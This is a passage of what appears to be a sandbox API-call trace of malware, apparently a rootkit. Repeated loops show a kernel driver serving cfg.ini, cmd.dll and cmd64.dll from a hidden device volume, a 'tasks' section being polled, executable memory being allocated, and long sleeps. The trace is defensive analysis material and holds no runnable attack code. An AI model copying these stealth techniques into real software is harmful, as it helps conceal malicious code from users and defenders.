VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.591] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.591] IdePortDispatch () returned 0x103 [0128.591] KeWaitForMutexObject () returned 0x0 [0128.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.591] KeLeaveCriticalRegion () [0128.591] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.591] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.591] KeEnterCriticalRegion () [0128.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.591] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.592] KeLeaveCriticalRegion () [0128.592] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.592] KeEnterCriticalRegion () [0128.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.592] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.592] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c004d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.592] KeLeaveCriticalRegion () [0128.592] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.592] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.592] KeEnterCriticalRegion () [0128.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.592] ExFreePoolWithTag (P=0xfffffa8003bff0e0, Tag=0x0) [0128.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.592] KeLeaveCriticalRegion () [0128.592] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.592] ReleaseMutex (hMutex=0xf0) returned 1 [0128.592] Sleep (dwMilliseconds=0x927c0) [0128.606] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.606] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.606] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.606] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.606] KeEnterCriticalRegion () [0128.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.606] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.606] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.606] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.606] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.606] IdePortDispatch () returned 0x103 [0128.606] KeWaitForMutexObject () returned 0x0 [0128.606] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.606] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.606] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.606] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.606] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.606] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039bbb80 [0128.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.606] KeLeaveCriticalRegion () [0128.606] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.606] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.606] KeEnterCriticalRegion () [0128.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.606] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.606] KeLeaveCriticalRegion () [0128.606] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.606] KeEnterCriticalRegion () [0128.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.607] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.607] IdePortDispatch () returned 0x103 [0128.607] KeWaitForMutexObject () returned 0x0 [0128.607] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.607] KeLeaveCriticalRegion () [0128.607] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.607] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.607] KeEnterCriticalRegion () [0128.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.607] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d4000 [0128.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.607] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.607] IdePortDispatch () returned 0x103 [0128.607] KeWaitForMutexObject () returned 0x0 [0128.607] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.607] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.607] IdePortDispatch () returned 0x103 [0128.607] KeWaitForMutexObject () returned 0x0 [0128.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.608] KeLeaveCriticalRegion () [0128.608] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.608] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.608] KeEnterCriticalRegion () [0128.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.608] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.608] KeLeaveCriticalRegion () [0128.608] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.608] KeEnterCriticalRegion () [0128.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.608] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.608] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.608] KeLeaveCriticalRegion () [0128.608] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.608] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.608] KeEnterCriticalRegion () [0128.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.608] ExFreePoolWithTag (P=0xfffffa80039bbb80, Tag=0x0) [0128.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.608] KeLeaveCriticalRegion () [0128.609] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.609] ReleaseMutex (hMutex=0xf0) returned 1 [0128.609] Sleep (dwMilliseconds=0x927c0) [0128.611] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.611] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.617] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.617] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.617] KeEnterCriticalRegion () [0128.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.617] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.617] IdePortDispatch () returned 0x103 [0128.617] KeWaitForMutexObject () returned 0x0 [0128.617] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.617] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.617] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.617] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.617] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.617] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff700 [0128.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.617] KeLeaveCriticalRegion () [0128.618] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.618] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.618] KeEnterCriticalRegion () [0128.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.618] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.618] KeLeaveCriticalRegion () [0128.618] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.618] KeEnterCriticalRegion () [0128.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.618] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.618] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.618] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.618] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.618] IdePortDispatch () returned 0x103 [0128.618] KeWaitForMutexObject () returned 0x0 [0128.618] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.618] KeLeaveCriticalRegion () [0128.618] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.618] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.618] KeEnterCriticalRegion () [0128.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.618] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e7000 [0128.618] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.618] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.618] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.618] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.618] IdePortDispatch () returned 0x103 [0128.618] KeWaitForMutexObject () returned 0x0 [0128.619] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.619] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.619] IdePortDispatch () returned 0x103 [0128.619] KeWaitForMutexObject () returned 0x0 [0128.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.619] KeLeaveCriticalRegion () [0128.619] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.619] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.619] KeEnterCriticalRegion () [0128.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.619] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.619] KeLeaveCriticalRegion () [0128.620] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.620] KeEnterCriticalRegion () [0128.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.620] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.620] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c00620, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.620] KeLeaveCriticalRegion () [0128.620] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.620] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.620] KeEnterCriticalRegion () [0128.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.620] ExFreePoolWithTag (P=0xfffffa8003bff700, Tag=0x0) [0128.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.620] KeLeaveCriticalRegion () [0128.620] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.620] ReleaseMutex (hMutex=0xf0) returned 1 [0128.620] Sleep (dwMilliseconds=0x927c0) [0128.631] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.631] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.631] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.631] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.631] KeEnterCriticalRegion () [0128.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.631] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.631] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.631] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.631] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.631] IdePortDispatch () returned 0x103 [0128.631] KeWaitForMutexObject () returned 0x0 [0128.631] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.631] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.631] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.631] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.631] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.631] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00c30 [0128.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.631] KeLeaveCriticalRegion () [0128.631] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.631] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.631] KeEnterCriticalRegion () [0128.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.631] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.631] KeLeaveCriticalRegion () [0128.632] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.632] KeEnterCriticalRegion () [0128.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.632] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.632] IdePortDispatch () returned 0x103 [0128.632] KeWaitForMutexObject () returned 0x0 [0128.632] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.632] KeLeaveCriticalRegion () [0128.632] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.632] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.632] KeEnterCriticalRegion () [0128.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.632] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035eb000 [0128.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.632] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.632] IdePortDispatch () returned 0x103 [0128.632] KeWaitForMutexObject () returned 0x0 [0128.632] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.632] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.632] IdePortDispatch () returned 0x103 [0128.633] KeWaitForMutexObject () returned 0x0 [0128.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.633] KeLeaveCriticalRegion () [0128.633] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.633] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.633] KeEnterCriticalRegion () [0128.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.633] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.633] KeLeaveCriticalRegion () [0128.633] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.633] KeEnterCriticalRegion () [0128.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.633] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.633] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c004d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.633] KeLeaveCriticalRegion () [0128.634] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.634] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.634] KeEnterCriticalRegion () [0128.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 